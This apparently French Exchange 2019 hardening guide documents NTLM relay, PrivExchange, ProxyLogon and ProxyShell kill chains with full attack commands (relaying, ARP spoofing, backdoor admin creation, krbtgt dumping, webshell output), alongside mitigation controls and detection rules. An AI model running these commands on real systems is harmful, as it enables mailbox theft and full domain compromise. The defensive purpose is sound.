L'authentification NTLM se déroule en 3 messages : 1. **NEGOTIATE** : le client envoie ses capacités NTLM 2. **CHALLENGE** : le serveur envoie un challenge aléatoire (8 octets) 3. **AUTHENTICATE** : le client répond avec NT Response = HMAC-MD5(NTLM hash, challenge) + username, domain, workstation

L'attaquant intercepte cette séquence et la relaie vers un serveur cible différent : - Il fait passer le NEGOTIATE du client au serveur cible - Il retourne le CHALLENGE du serveur cible au client - Le client calcule sa réponse sur le CHALLENGE du serveur cible (pas de l'attaquant) - L'attaquant relaie l'AUTHENTICATE au serveur cible → authentifié !

EPA rompt cette chaîne en ajoutant le CBT dans l'AUTHENTICATE : le client inclut le hash du certificat TLS du serveur A dans sa réponse. Quand l'attaquant relaie vers le serveur B, le CBT ne correspond pas au certificat de B → rejet.

Kill Chains Documentées

KC-01 — EWS NTLM Relay (Base Attack)

Niveau de difficulté : Facile — accessible à tout pentester avec ntlmrelayx **Impact :** Accès complet à la boîte mail de la victime, envoi de mails, accès calendrier **Condition d'exploitation :** EPA désactivé ou `Allow` sur EWS ; NTLM activé ; attaquant on-path ou avec LLMNR/NBT-NS poisoning actif **CVE liées :** Technique générique (pas de CVE spécifique), amplifiée par CVE-2019-0686

```
# Étape 1 : Démarrer le listener ntlmrelayx (attaquant)
# Relay vers EWS Exchange, dump des emails de la victime
python3 ntlmrelayx.py \
  -t https://mail.corp.local/EWS/Exchange.asmx \
  --smb2support \
  -e /tmp/evil.exe       # optionnel : exécuter un payload via SMB
  # Ou : --dump-adcs pour extraire les templates de certificats ADCS

# Étape 2 : Forcer l'authentification de la victime (plusieurs méthodes)
# Méthode A : LLMNR/NBT-NS poisoning (même sous-réseau)
python3 Responder.py -I eth0 -rdwv  # écoute + empoisonne LLMNR/NBT-NS
# → toute résolution LLMNR/NetBIOS rate redirige vers le listener ntlmrelayx

# Méthode B : Envoyer un lien UNC à la victime (social engineering)
# \\ATTACKER_IP\share → force auth NTLM vers l'attaquant

# Méthode C : PrinterBug (via MS-RPRN)
python3 printerbug.py corp.local/jdupont:'P@ssword'@EXCH01.corp.local ATTACKER_IP

# Résultat attendu sans EPA :
# [*] HTTPD(80): Connection from 192.168.1.50 controlled, attacking target https://mail.corp.local
# [*] HTTP server returned error code 200, treating as a successful login
# [*] Dumping mailbox of user: administrator@corp.local
```

Mitigation : EPA `Require` sur EWS (EX-S03-C003) + désactiver LLMNR (EX-S04-C001)

KC-02 — MAPI/HTTP NTLM Relay

Niveau de difficulté : Moyen (nécessite connaissance du protocole MAPI) **Impact :** Accès Outlook complet (lecture/écriture mails, contacts, calendrier, règles) **Condition :** EPA désactivé sur MAPI VD ; MAPI/HTTP activé (défaut Exchange 2019 pour Outlook 2013+)

```
# Relay MAPI over HTTP
python3 ntlmrelayx.py \
  -t https://mail.corp.local/mapi/nspi/ \
  --impersonate administrator \
  --smb2support

# Alternative avec accès boîte mail spécifique
python3 ntlmrelayx.py \
  -t https://mail.corp.local/mapi/ \
  --impersonate ceo@corp.local

# Avec Responder actif sur eth0 pour capturer l'auth NTLM
python3 Responder.py -I eth0 -rdwv --lm  # --lm force downgrade vers NTLMv1 si possible

# Résultat attendu sans EPA :
# [*] MAPI/HTTP Session established
# [*] Impersonating ceo@corp.local
# [*] Folder: Inbox (4892 items)
```

Mitigation : EPA `Require` sur MAPI (EX-S03-C004)

KC-03 — PrivExchange — Autodiscover NTLM Relay vers LDAP (CVE-2019-0686)

Niveau de difficulté : Moyen-Élevé (nécessite un compte utilisateur valide) **Impact :** DCSync → extraction de tous les hashes du domaine → compromission totale AD **Condition :** EPA absent sur Autodiscover ; LDAP signing non requis sur DC ; compte utilisateur valide

Cette technique, découverte par Dirk-Jan Mollema en 2018 (article "Abusing Exchange: One API call away from Domain Admin"), exploite le fait qu'Exchange tente de s'authentifier en NTLM vers l'URL Autodiscover soumise par un utilisateur via l'API EWS `PushSubscription`. Le compte machine Exchange (`EXCH01$`) a des droits `WriteDacl` sur l'objet de domaine Active Directory (héritage du modèle de permissions Exchange), ce qui lui permet de s'accorder lui-même les droits DCSync.

```
# Étape 1 : Démarrer ntlmrelayx en mode LDAP avec escalade de privilèges
python3 ntlmrelayx.py \
  -t ldap://dc01.corp.local \
  --escalate-user EXCH01$          # compte machine Exchange

# Étape 2 : Forcer Exchange à s'authentifier vers notre listener
# (privexchange.py de dirkjanm)
python3 privexchange.py \
  -ah 192.168.1.100 \              # IP de l'attaquant (listener ntlmrelayx)
  mail.corp.local \                # serveur Exchange
  -u jdupont \                     # compte utilisateur valide
  -p 'P@ssw0rd' \
  -d corp.local

# Résultat : Exchange s'authentifie vers 192.168.1.100
# ntlmrelayx relay vers DC et ajoute WriteDacl pour EXCH01$ sur l'objet domaine

# Étape 3 : DCSync depuis l'objet escaladé
python3 secretsdump.py \
  corp.local/jdupont:'P@ssw0rd'@dc01.corp.local \
  -just-dc-user krbtgt              # extraire le hash krbtgt pour Golden Ticket

# Résultat : tous les hashes NTLM du domaine extraits en quelques secondes
```

Impact maximal : Golden Ticket possible avec le hash krbtgt → persistance indétectable.

Mitigation : 1. LDAP Signing + Channel Binding sur les DC (contrôles EX-S04-C004 et EX-S04-C005) 2. EPA `Require` sur Autodiscover (EX-S03-C006) 3. Supprimer les permissions WriteDacl d'Exchange sur l'objet domaine (EX-S04-C006)

KC-04 — OWA NTLM Relay via Man-in-the-Middle (ARP Spoofing)

Niveau de difficulté : Moyen (nécessite position on-path) **Impact :** Accès aux ressources partagées internes, exécution de commande via SMB **Condition :** EPA absent sur OWA ; attaquant positionné sur le même VLAN

```
# Position on-path via ARP spoofing (victime 192.168.1.50, GW 192.168.1.1)
arpspoof -i eth0 -t 192.168.1.50 192.168.1.1 &
arpspoof -i eth0 -t 192.168.1.1 192.168.1.50 &

# Relay OWA auth vers SMB pour créer un compte admin local
python3 ntlmrelayx.py \
  -tf targets.txt \                  # liste serveurs cibles SMB
  --no-http-server \
  -smb2support \
  -c 'net user hacker P@ss123! /add && net localgroup administrators hacker /add'

# Alternative : relay OWA auth vers LDAPS (si channel binding désactivé)
python3 ntlmrelayx.py \
  -t ldaps://dc01.corp.local \
  --add-computer HACKER_COMPUTER     # ajouter un ordinateur dans l'AD
```

Mitigation : EPA `Require` sur OWA (EX-S03-C002), SMB Signing obligatoire (EX-S04-C003), segmentation VLAN.

KC-05 — ProxyLogon + SSRF → Force Authentication (CVE-2021-26855)

Niveau de difficulté : Élevé (chain exploit pré-auth) **Impact :** RCE SYSTEM sur le serveur Exchange, accès à toutes les boîtes mail **Condition :** Exchange non patché (pré-mars 2021) ; accès réseau sur le port 443

ProxyLogon est une SSRF (Server-Side Request Forgery) pre-authentifiée qui exploite le fait que l'Exchange Frontend Proxy fait confiance à certains en-têtes HTTP pour le routing backend. En forgeant le cookie `X-BEResource`, l'attaquant peut faire en sorte que le frontend Exchange contacte n'importe quelle ressource interne, y compris un listener NTLM contrôlé par l'attaquant.

```
# Vérification de la vulnérabilité (test non destructif)
curl -sk "https://mail.corp.local/owa/auth/x.js" \
  -H "Cookie: X-BEResource=127.0.0.1/owa/#" \
  -v 2>&1 | grep -i "HTTP/1.1"
# → 200 = potentiellement vulnérable (à confirmer avec PoC complet)
# → 400/403 = patché

# Exploitation complète (référence : CVE-2021-26855 PoC)
# Source : https://github.com/hausec/ProxyLogon (usage éducatif uniquement)
python3 proxylogon.py mail.corp.local administrator

# Résultat sur serveur non patché :
# [*] Target is vulnerable to CVE-2021-26855
# [*] Dumping all mailboxes...
# [*] Found 45 mailboxes
# [*] Uploading webshell to /owa/auth/
```

Mitigation : Patch mars 2021 obligatoire (KB5000871). En attendant le patch : bloquer l'accès ECP depuis Internet + URL Rewrite rule Microsoft.

KC-06 — ProxyShell → Remote Code Execution via PowerShell VD (CVE-2021-34473)

Niveau de difficulté : Élevé (nécessite compte Exchange valide) **Impact :** RCE SYSTEM → persistance webshell → accès à toutes les données Exchange **Condition :** Exchange non patché (pré-juillet 2021) ; compte Exchange valide (n'importe quel utilisateur)

ProxyShell enchaîne trois vulnérabilités : 1. **CVE-2021-34473** : ACL bypass via manipulation d'URL (contourner l'auth) 2. **CVE-2021-34523** : Élévation de privilèges via EWS (accès SYSTEM via Exchange Backend) 3. **CVE-2021-31207** : Écriture arbitraire de fichier post-auth (webshell)

```
# Test de vulnérabilité ProxyShell (non destructif)
curl -sk "https://mail.corp.local/autodiscover/autodiscover.json?\
@corp.local/mapi/nspi/?&Email=autodiscover/autodiscover.json%3F@corp.local" \
  -H "X-Rps-CAT: $(python3 -c 'import base64; print(base64.b64encode(b"<PSRP session>").decode())')"
# → Réponse 200 avec contenu MAPI = potentiellement vulnérable

# Exploitation (référence : CVE-2021-34473 PoC)
python3 proxyshell.py https://mail.corp.local/ jdupont@corp.local

# Résultat :
# [*] Step 1: ACL bypass - SSRF via autodiscover URL manipulation
# [*] Step 2: Privilege escalation - getting SYSTEM token via Exchange Backend
# [*] Step 3: Dropping webshell to /owa/auth/w3wp.aspx
# [*] Webshell accessible at https://mail.corp.local/owa/auth/w3wp.aspx?cmd=whoami
# NT AUTHORITY\SYSTEM
```

Mitigation : Patches cumulatifs juillet 2021 (KB5004779) et août 2021 (KB5005413). EPA `Require` sur le VD PowerShell limite la surface mais ne corrige pas la vulnérabilité — le patch est indispensable.

Contrôles de Mitigation NTLMRelayX

ID	Contrôle	Priorité	Kill Chains Bloquées	Commande de Vérification
EX-S04-C001	Désactiver LLMNR via GPO (DNS Client → EnableMulticast = 0) sur tous les postes et serveurs	🔴 CRITIQUE	KC-01, KC-02, KC-04	`Get-ItemProperty 'HKLM:\Software\Policies\Microsoft\Windows NT\DNSClient' -Name EnableMulticast` → 0
EX-S04-C002	Désactiver NetBIOS over TCP/IP sur toutes les interfaces réseau Exchange	🔴 CRITIQUE	KC-01, KC-02, KC-04	`wmic nicconfig where TcpipNetbiosOptions=0 list brief` → aucun résultat
EX-S04-C003	Activer SMB Signing obligatoire sur les serveurs Exchange (RequireSecuritySignature)	🔴 CRITIQUE	KC-01, KC-04	`Get-SmbServerConfiguration | Select RequireSecuritySignature` → `True`
EX-S04-C004	Activer LDAP Signing obligatoire sur les contrôleurs de domaine	🔴 CRITIQUE	KC-03 PrivExchange	GPO DC: `Domain Controller: LDAP server signing requirements = Require signing` → Event ID 2889 = 0
EX-S04-C005	Activer LDAP Channel Binding sur les DC (KB4520412, paramètre LdapEnforceChannelBinding=2)	🔴 CRITIQUE	KC-03 PrivExchange	`Get-ItemProperty 'HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters' -Name LdapEnforceChannelBinding'` → 2

ID	Contrôle	Priorité	Kill Chains Bloquées	Commande de Vérification
EX-S04-C006	Supprimer les ACE WriteDacl/GenericAll du compte Exchange sur l'objet de domaine AD	🔴 CRITIQUE	KC-03 PrivExchange DCSync	`(Get-Acl 'AD:\DC=corp,DC=local').Access | Where {$_.IdentityReference -like '*Exchange*' -and $_.ActiveDirectoryRights -like '*WriteDacl*'}` → vide
EX-S04-C007	Bloquer les requêtes Autodiscover contenant des URLs arbitraires (WAF rule)	🔴 CRITIQUE	KC-03, KC-05 ProxyLogon	Test WAF : `curl -H "Cookie: X-BEResource=evil.com/..." https://mail.domain.com/` → 403
EX-S04-C008	Implémenter un IDS/IPS détectant les patterns ntlmrelayx (User-Agent Impacket, Python)	🟠 HAUTE	Toutes KC	Règle Suricata : `alert http any any -> $EXCHANGE_SERVERS any (content:"Impacket"; http_header; msg:"ntlmrelayx detected"; sid:9000001;)`
EX-S04-C009	Segmenter Exchange dans un VLAN dédié (isolation des postes utilisateurs → Exchange)	🟠 HAUTE	KC-02, KC-04 (on-path)	Revue ACL firewall : les postes workstations ne doivent pas avoir accès direct aux ports 135, 445, 593 d'Exchange
EX-S04-C010	Activer Windows Defender Credential Guard sur Exchange Server (protection hashes NTLM en mémoire)	🟠 HAUTE	Protection contre Pass-the-Hash	`Get-CimInstance Win32_DeviceGuard | Select SecurityServicesRunning` → contient 1 (Credential Guard)

Effets de Bord — Kill Chains Mitigations

- La désactivation de LLMNR/NetBIOS casse la résolution de noms sur les réseaux sans DNS propre — vérifier que le DNS interne couvre 100% des noms utilisés (noms courts, alias) avant de désactiver.
- LDAP Channel Binding (KB4520412) peut bloquer les applications legacy qui s'authentifient sur LDAP sans TLS (ex : anciens systèmes de ticketing, HVAC/BMS avec LDAP simplifié) — auditer toutes les intégrations LDAP du SI avant d'appliquer.
- SMB Signing obligatoire peut impacter légèrement les performances de copie de fichiers en environnement à fort volume — l'impact est négligeable sur un serveur Exchange car les mailbox databases sont sur disque local.
- La suppression des ACE WriteDacl d'Exchange sur le domaine peut casser certaines fonctionnalités Exchange liées à l'auto-découverte de topologie AD dans les environnements hybrid Exchange — tester en environnement de lab préalablement.

Section S05 — Authentification NTLM — Désactivation et Contrôle

Contexte

NTLM (NT LAN Manager) est un protocole d'authentification challenge-response héritié des années 1990, développé avant l'émergence d'Internet et des menaces modernes. Malgré son âge, il reste omniprésent dans les environnements Windows pour des raisons de compatibilité ascendante. Sur Exchange, NTLM est utilisé par défaut pour les VD IIS en authentification Windows intégrée.

Problèmes structurels de NTLM : 1. **Relayable** : sans EPA, l'authentification NTLM peut être capturée et rejouée (voir S04) 2. **Pas de MFA** : NTLM ne supporte pas nativement le MFA — impossible d'ajouter une 2FA sur NTLM sans changer de protocole 3. **Vulnérable au Pass-the-Hash** : le hash NTLM peut être utilisé directement sans connaître le mot de passe en clair 4. **Vulnérable au brute force offline** : les NTLMv2 réponses capturées peuvent être craquées offline (hashcat : 100-600 MH/s sur GPU) 5. **Pas de délégation standard** : NTLM ne supporte pas la délégation Kerberos — certaines fonctionnalités Exchange nécessitent donc des workarounds

NTLMv1 vs NTLMv2 : - **NTLMv1** : hash faible, craquable en quelques heures sur GPU moderne, à éliminer immédiatement - **NTLMv2** : plus robuste (HMAC-MD5) mais toujours relayable sans EPA et craquable offline avec hashcat

Stratégie de remplacement NTLM sur Exchange : 1. **Modern Authentication (OAuth 2.0)** pour Outlook 2016+ et clients modernes 2. **Kerberos** pour les authentifications Windows intégrées internes 3. **Certificate-based Authentication** pour les comptes de service et les connecteurs SMTP inter-serveurs

Vérifier l'utilisation réelle de NTLM sur Exchange :

```
# Analyser les logs IIS pour identifier les authentifications NTLM actives
# (NTLM apparaît dans le champ cs(Authorization-Type) des logs IIS)
Get-ChildItem "C:\inetpub\logs\LogFiles\" -Recurse -Filter "*.log" |
    Select-Object -Last 3 |
    ForEach-Object { Get-Content $_.FullName } |
    Where-Object { $_ -match "NTLM" } |
    ForEach-Object {
        $fields = $_ -split " "
        [PSCustomObject]@{
            Date    = $fields[0]
            Time    = $fields[1]
            Client  = $fields[8]
            Path    = $fields[4]
            AuthType = "NTLM"
        }
    } |
    Group-Object Client |
    Sort-Object Count -Descending |
    Select-Object -First 20 Count, Name
```

Contrôles

ID	Contrôle	Priorité	Source	Commande de Vérification	Procéd
EX-S05-C001	Désactiver NTLMv1 via GPO (LmCompatibilityLevel = 5 = NTLMv2 only, refuse LMv1/NTLMv1)	🔴 CRITIQUE	CIS Windows Server Benchmark §2.3.11.7, MS KB823659	`Get-ItemProperty 'HKLM:\SYSTEM\CurrentControlSet\Control\Lsa' -Name LmCompatibilityLevel` → 5	GPO: `C Setting Securit Securit authent NTLMv2 Refuse`
EX-S05-C002	Activer Modern Authentication (OAuth 2.0) sur l'organisation Exchange 2019	🔴 CRITIQUE	Microsoft OAuth Docs, Hybrid Auth, MS Blog	`Get-OrganizationConfig | Select OAuth2ClientProfileEnabled` → `True`	`Set-Or -OAuth2 $true ;` Azure A
EX-S05-C003	Désactiver Basic Auth sur OWA (`-BasicAuthentication $false`)	🔴 CRITIQUE	CIS Exchange Benchmark, MS Security Blog	`Get-OwaVirtualDirectory | Select Name,BasicAuthentication` → `False` sur tous	`Get-Ow -Server OwaVirt -BasicA $false`

ID	Contrôle	Priorité	Source	Commande de Vérification	Procéd
EX-S05-C004	Désactiver Basic Auth sur ActiveSync (EAS)	🔴 CRITIQUE	Exchange ActiveSync Security	`Get-ActiveSyncVirtualDirectory | Select BasicAuthEnabled` → `False`	`Get-ActiveS -Server ActiveS -BasicA`
EX-S05-C005	Désactiver Basic Auth sur EWS	🔴 CRITIQUE	EWS Security, NTLMRelayX mitigation	`Get-WebServicesVirtualDirectory | Select BasicAuthentication` → `False`	`Get-WebServ -Server WebServ -BasicA $false`
EX-S05-C006	Restreindre NTLM : autoriser uniquement les comptes de domaine qui ne peuvent pas utiliser Kerberos	🟠 HAUTE	MS Security Baseline	GPO: `Network Security: Restrict NTLM: Incoming NTLM traffic` → `Deny all domain accounts` sur Exchange (avec exceptions documentées)	Tester e (`Audit`
EX-S05-C007	Auditer les authentifications NTLM Exchange (Event IDs 4776 : validation NTLM, 4624 type 3 : réseau)	🟠 HAUTE	Windows Security Audit Policy	`Get-WinEvent -FilterHashtable @{LogName='Security';Id=4776} | Select TimeCreated,Message | head 20`	Activer `Logon` → `Validat Success`
EX-S05-C008	Configurer l'ordre des providers IIS Windows Auth avec Negotiate (Kerberos) en priorité sur NTLM	🟠 HAUTE	IIS Authentication Providers, Kerberos docs	IIS Manager → Default Web Site → OWA → Windows Authentication → Providers → `Negotiate` doit être avant `NTLM`	Modifier dans la (Applica
EX-S05-C009	Implémenter une règle SIEM pour détecter le credential spray NTLM (> 15 échecs Event 4776 en 5 min par IP)	🟠 HAUTE	MITRE ATT&CK T1110.003 (Password Spraying)	Vérifier règle SIEM active sur Event ID 4776 avec count > 15 en window 5 min	Splunk : `sourcet EventCo count b count>1`
EX-S05-C010	Désactiver NTLM sur les connecteurs SMTP Send (utiliser Kerberos ou Certificate Auth)	🟠 HAUTE	Exchange Transport Security	`Get-SendConnector | Select AuthenticationCredentials,SmartHostAuthMechanism` → ne doit pas contenir `NTLMAuth`	`Set-Ser -Authen (Get-Cr -SmartH Tls`

Effets de Bord — Désactivation NTLM

- La désactivation de Basic Auth sur ActiveSync casse les clients mobiles natifs **iOS < 14** et les applications MDM legacy qui utilisent Basic Auth + SSL — coordonner avec l'équipe mobilité et MDM avant application.
- La désactivation de Basic Auth sur EWS peut casser des **systèmes de ticketing, ITSM, ou archivage** qui s'authentifient sur EWS en Basic Auth — faire un inventaire complet des applications EWS avant désactivation.
- Modern Auth requiert **Azure AD ou ADFS 3.0+** pour les clients hybrides. Si l'infrastructure d'identité n'est pas en place, déployer d'abord ADFS ou Azure AD Connect avant d'activer Modern Auth.

Section S06 — Kerberos et Délégation Contrainte

Contexte

Kerberos est le protocole d'authentification recommandé pour Exchange en environnement Active Directory. Contrairement à NTLM, les tickets Kerberos sont liés au service cible (via le SPN — Service Principal Name) et ne sont pas relayables vers un service différent. Un attaquant qui capture un ticket Kerberos ne peut l'utiliser que pour le service pour lequel il a été émis.

SPN Exchange — Compréhension des prérequis :

Pour qu'un client Outlook puisse s'authentifier en Kerberos auprès d'Exchange, le serveur Exchange doit avoir des SPN correctement enregistrés dans Active Directory. Les SPN Exchange typiques :

```
# SPN Exchange standard (à vérifier/enregistrer)
# HTTP/mail.corp.local
# HTTP/mail
# HTTP/EXCH01.corp.local
# HTTP/EXCH01

# Vérification des SPN du serveur Exchange
setspn -L EXCH01$
# Sortie attendue :
# Registered ServicePrincipalNames for CN=EXCH01,OU=Servers,DC=corp,DC=local:
#         HTTP/EXCH01.corp.local
#         HTTP/EXCH01
#         HTTP/mail.corp.local
#         exchangeMDB/EXCH01.corp.local
#         exchangeRFR/EXCH01.corp.local
#         exchangeAB/EXCH01.corp.local

# Vérification des doublons (source de fallback NTLM)
setspn -X
# → Aucun résultat = OK ; résultat = SPN dupliqué à corriger immédiatement
```

Délégation Kerberos — Risques spécifiques Exchange :

Exchange peut être configuré avec différents types de délégation Kerberos selon les fonctionnalités déployées :

1. **Délégation non contrainte (Unconstrained Delegation)** : Exchange peut utiliser le TGT Kerberos de n'importe quel utilisateur qui s'authentifie — **CRITIQUE** : un attaquant qui compromise Exchange peut capturer les TGT et les réutiliser (Pass-the-Ticket). À supprimer absolument.
2. **Délégation contrainte (KCD — Kerberos Constrained Delegation)** : Exchange peut déléguer uniquement vers des services spécifiques — acceptable si nécessaire.
3. **RBCD (Resource-Based Constrained Delegation)** : Le service cible contrôle qui peut déléguer vers lui — plus sécurisé que KCD classique.

```
# Vérification de la délégation non contrainte (DANGER si True)
Get-ADComputer EXCH01 -Properties TrustedForDelegation | Select Name,TrustedForDelegation
# → TrustedForDelegation = True = DANGER, corriger immédiatement

# Suppression de la délégation non contrainte
Set-ADComputer EXCH01 -TrustedForDelegation $false

# Vérification de la délégation contrainte autorisée
Get-ADComputer EXCH01 -Properties 'msDS-AllowedToDelegateTo' |
    Select Name,'msDS-AllowedToDelegateTo'
# → Doit lister uniquement les services légitimes (ex : HTTP/EXCH01.corp.local)
```

Contrôles

ID	Contrôle	Priorité	Source / Technique ATT&CK	Commande de Vérification	Remédiation
EX-S06-C001	Vérifier les SPN Exchange correctement enregistrés (HTTP, exchangeMDB, exchangeRFR, exchangeAB)	🔴 CRITIQUE	Exchange SPN Docs, MS KB907273	`setspn -L EXCH01$` → vérifier présence des SPN HTTP	`setspn -S HTTP/ mail.corp.local` SPN manquant
EX-S06-C002	Vérifier l'absence de SPN dupliqués entre comptes (source de fallback NTLM)	🔴 CRITIQUE	MS KB321044, Exchange Kerberos Troubleshooting	`setspn -X` → aucun résultat	`setspn -D HTTP/ mail.corp.local WRONG_ACCOUNT$` p le doublon
EX-S06-C003	Confirmer que le compte machine Exchange n'a PAS TrustedForDelegation=True (délégation non contrainte)	🔴 CRITIQUE	MITRE ATT&CK T1558.001, Kerberos Delegation Abuse	`Get-ADComputer EXCH01 -Properties TrustedForDelegation | Select TrustedForDelegation` → `False`	`Set-ADComputer -TrustedForDeleg`
EX-S06-C004	Si délégation requise pour des features Exchange spécifiques, utiliser KCD (contrainte) uniquement	🟠 HAUTE	MS Docs KCD, Exchange Front-End Proxy	`Get-ADComputer EXCH01 -Properties msDS-AllowedToDelegateTo` → liste restreinte	Configurer KCD vi `ADComputer -Add AllowedToDelegat EXCH01.corp.loca`
EX-S06-C005	Évaluer RBCD (Resource-Based Constrained Delegation) pour les nouvelles configurations (W2012+)	🟡 MOYENNE	MS Docs RBCD, modern Kerberos delegation	`Get-ADComputer EXCH01 -Properties msDS-AllowedToActOnBehalfOfOtherIdentity`	Configurer RBCD cible
EX-S06-C006	Protéger les comptes de service Exchange avec AccountNotDelegated = True	🟠 HAUTE	AD Tiering Model, Exchange Service Accounts	`Get-ADUser ExchService -Properties AccountNotDelegated` → `True`	`Set-ADAccountCo ExchService -AccountNotDeleg`
EX-S06-C007	Ajouter les comptes Exchange à hauts privilèges au groupe Protected Users (supprime NTLM, RC4, délégation)	🟠 HAUTE	MS Protected Users Security Group	`Get-ADGroupMember 'Protected Users' | Where Name -like '*Exchange*'`	`Add-ADGroupMemb 'Protected Users ExchService` ; tes d'abord
EX-S06-C008	Vérifier et planifier le renouvellement du compte krbtgt (prévention Golden Ticket)	🟠 HAUTE	MITRE ATT&CK T1558.001 (Golden Ticket)	`Get-ADUser krbtgt -Properties PasswordLastSet | Select PasswordLastSet` → < 6 mois	Exécuter le script renouvellement k fois à 10h d'interv
EX-S06-C009	Auditer les Event ID 4769 (Kerberos TGS request) sur les SPN Exchange pour détecter le Kerberoasting	🟠 HAUTE	MITRE ATT&CK T1558.003 (Kerberoasting)	`Get-WinEvent -FilterHashtable @{LogName='Security';Id=4769} | Where {$_.Message -like '*HTTP/ mail*' -and $_.Message -like '*0x17*'}` → RC4 = suspect	Configurer les cor pour n'utiliser que désactiver RC4
EX-S06-C010	Tester le Kerberoasting sur les comptes de service Exchange (SPN + mot de passe faible)	🔴 CRITIQUE	MITRE ATT&CK T1558.003	`Invoke-Kerberoast -OutputFormat Hashcat | Where ServiceName -like '*Exchange*'`	Changer les mots comptes kerberoa chars aléatoires) uniquement

Effets de Bord — Kerberos

- L'ajout au groupe **Protected Users** désactive NTLM, DES, RC4 **pour ce compte** et empêche la délégation Kerberos — peut casser des intégrations spécifiques qui utilisent RC4 ou la délégation. Tester avec un compte de test d'abord.
- La délégation non contrainte sur Exchange est parfois configurée par les assistants de déploiement Exchange 2010/2013 lors d'une migration — à auditer systématiquement sur tout environnement migré.
- Un SPN dupliqué entre deux comptes provoque un fallback vers NTLM (Kerberos échoue avec KDC_ERR_S_PRINCIPAL_UNKNOWN) — détecter avec `setspn -X` régulièrement.

Section S07 — Contrôle d'Accès et RBAC Exchange

Contexte

Exchange Server 2019 implémente un modèle RBAC (Role-Based Access Control) granulaire via les **Management Roles**. Ce modèle permet d'attribuer des permissions précises aux administrateurs et aux applications sans avoir besoin de droits d'administrateur système complets. Une mauvaise configuration RBAC est régulièrement exploitée post-compromission pour :

- **Maintenir une persistance discrète** via le rôle `ApplicationImpersonation` : ce rôle permet d'accéder à la boîte mail de n'importe quel utilisateur en se faisant passer pour lui. Un attaquant qui obtient ce rôle peut exfiltrer l'ensemble des boîtes mail sans être détecté.
- **Escalader vers Organization Management** : ce groupe Exchange équivaut à un administrateur Exchange complet avec accès à toutes les configurations.
- **Créer des backdoors** via `New-ManagementRoleAssignment` pour ajouter des permissions à des comptes contrôlés par l'attaquant.

Hiérarchie RBAC Exchange — Groupes de rôles clés :

Groupe de Rôle	Niveau d'accès	Risque si compromis
Organization Management	Accès complet Exchange	Maximal — contrôle total Exchange + certains droits AD
Recipient Management	Gestion des boîtes mail et groupes	Élevé — peut créer des redirections/règles sur toutes les boîtes
Discovery Management	Recherche multi-boîtes (eDiscovery)	Élevé — accès lecture à toutes les boîtes mail
ApplicationImpersonation	Accès à toutes les boîtes (impersonation)	Maximum — accès invisible à toutes les boîtes
Hygiene Management	Gestion anti-spam/anti-malware	Moyen — peut désactiver les protections
View-Only Organization Management	Lecture seule de la configuration	Faible

Audit des attributions RBAC :

```
# Auditer tous les membres Organization Management
Get-RoleGroupMember 'Organization Management' | Select Name,RecipientType,WhenCreated

# Auditer les attributions ApplicationImpersonation (à risque élevé)
Get-ManagementRoleAssignment -Role ApplicationImpersonation |
    Select Name,RoleAssigneeName,RoleAssigneeType,WhenCreated |
    Sort WhenCreated -Descending

# Auditer TOUTES les attributions de rôle (liste complète)
Get-ManagementRoleAssignment |
    Select Name,Role,RoleAssigneeName,RoleAssigneeType,WhenCreated |
    Where RoleAssigneeType -ne 'RoleGroup' |  # attributions directes (plus à risque)
    Export-Csv -Path C:\Audit\ExchangeRBAC.csv -NoTypeInformation

# Comparer avec la baseline connue
Compare-Object (Import-Csv C:\Audit\ExchangeRBAC_Baseline.csv) (Import-Csv C:\Audit\ExchangeRBAC.csv)
```

Audit via l'Admin Audit Log :

```
# Rechercher les attributions de rôle RBAC créées dans les 30 derniers jours
Search-AdminAuditLog -Cmdlets 'New-ManagementRoleAssignment' -StartDate (Get-Date).AddDays(-30) |
    Select CmdletName,Caller,RunDate,CmdletParameters |
    Format-Table -AutoSize
```

Contrôles

ID	Contrôle	Priorité	Source	Commande de Vérification
EX-S07-C001	Auditer les membres du groupe Organization Management (doit contenir uniquement les admins Exchange dédiés)	🔴 CRITIQUE	Exchange RBAC Docs, CIS Exchange	`Get-RoleGroupMember 'Organization Management' | Select Name,RecipientType`
EX-S07-C002	Révoquer les attributions ApplicationImpersonation non justifiées par une demande métier documentée	🔴 CRITIQUE	Exchange Security, MITRE ATT&CK T1114	`Get-ManagementRoleAssignment -Role ApplicationImpersonati Select RoleAssigneeName,WhenCreated`
EX-S07-C003	Vérifier qu'aucun utilisateur standard n'a de Management Role Assignment direct (hors groupes RBAC)	🟠 HAUTE	Exchange RBAC Best Practices	`Get-ManagementRoleAssignment | Where RoleAssigneeType -e 'User' | Select Name,Role,RoleAssigneeName`
EX-S07-C004	Implémenter le principe de moindre privilège pour les admins Exchange (créer des sous-groupes RBAC granulaires)	🟠 HAUTE	Exchange RBAC Customization	`Get-RoleGroup | Select Name,Roles | Where Name -like 'Custom*'`
EX-S07-C005	Séparer strictement les rôles Exchange Admin et Domain Admin (pas de compte dual-hat)	🔴 CRITIQUE	AD Tiering Model, ANSSI AD Security Guide	`(Get-ADGroupMember 'Domain Admins').SamAccountName | For { Get-RoleGroupMember 'Organization Management' -Identity -ErrorAction SilentlyContinue }`

ID	Contrôle	Priorité	Source	Commande de Vérification
EX-S07-C006	Restreindre l'accès EMS (Exchange Management Shell) via JEA (Just Enough Administration)	🟠 HAUTE	MS JEA Docs, PowerShell Security	`Get-PSSessionConfiguration | Where Name -like '*Exchange`
EX-S07-C007	Activer l'audit de toutes les cmdlets Exchange sensibles dans l'Admin Audit Log	🟠 HAUTE	Exchange Audit Logging	`Get-AdminAuditLogConfig | Select AdminAuditLogEnabled,AdminAuditLogCmdlets,AdminAuditLogAge` → `Enabled=True, AgeLimit≥90 days`
EX-S07-C008	Implémenter un workflow d'approbation à deux personnes pour les exports de boîtes mail (New-MailboxExportRequest)	🟠 HAUTE	Data Loss Prevention, RGPD Art.32	Vérifier procédure documentée : ticket approuvé par responsable RSSI requis avant export
EX-S07-C009	Vérifier que le compte de service Exchange n'est PAS membre de Domain Admins	🔴 CRITIQUE	AD Security, Exchange Best Practices	`Get-ADGroupMember 'Domain Admins' | Where SamAccountName '*Exchange*' -or SamAccountName -like '*Exch*'` → vide
EX-S07-C010	Réviser trimestriellement les attributions RBAC Exchange (processus de certification des accès)	🟡 MOYENNE	Exchange Governance, ISO 27001 A.9.2.5	Export CSV trimestriel `Get-ManagementRoleAssignment | Expor` + revue comité de sécurité

Effets de Bord — RBAC

- La réduction des membres d'Organization Management peut bloquer des scripts d'administration Exchange existants qui s'exécutent sous un compte non Admin — auditer les scripts avant de modifier les membres.
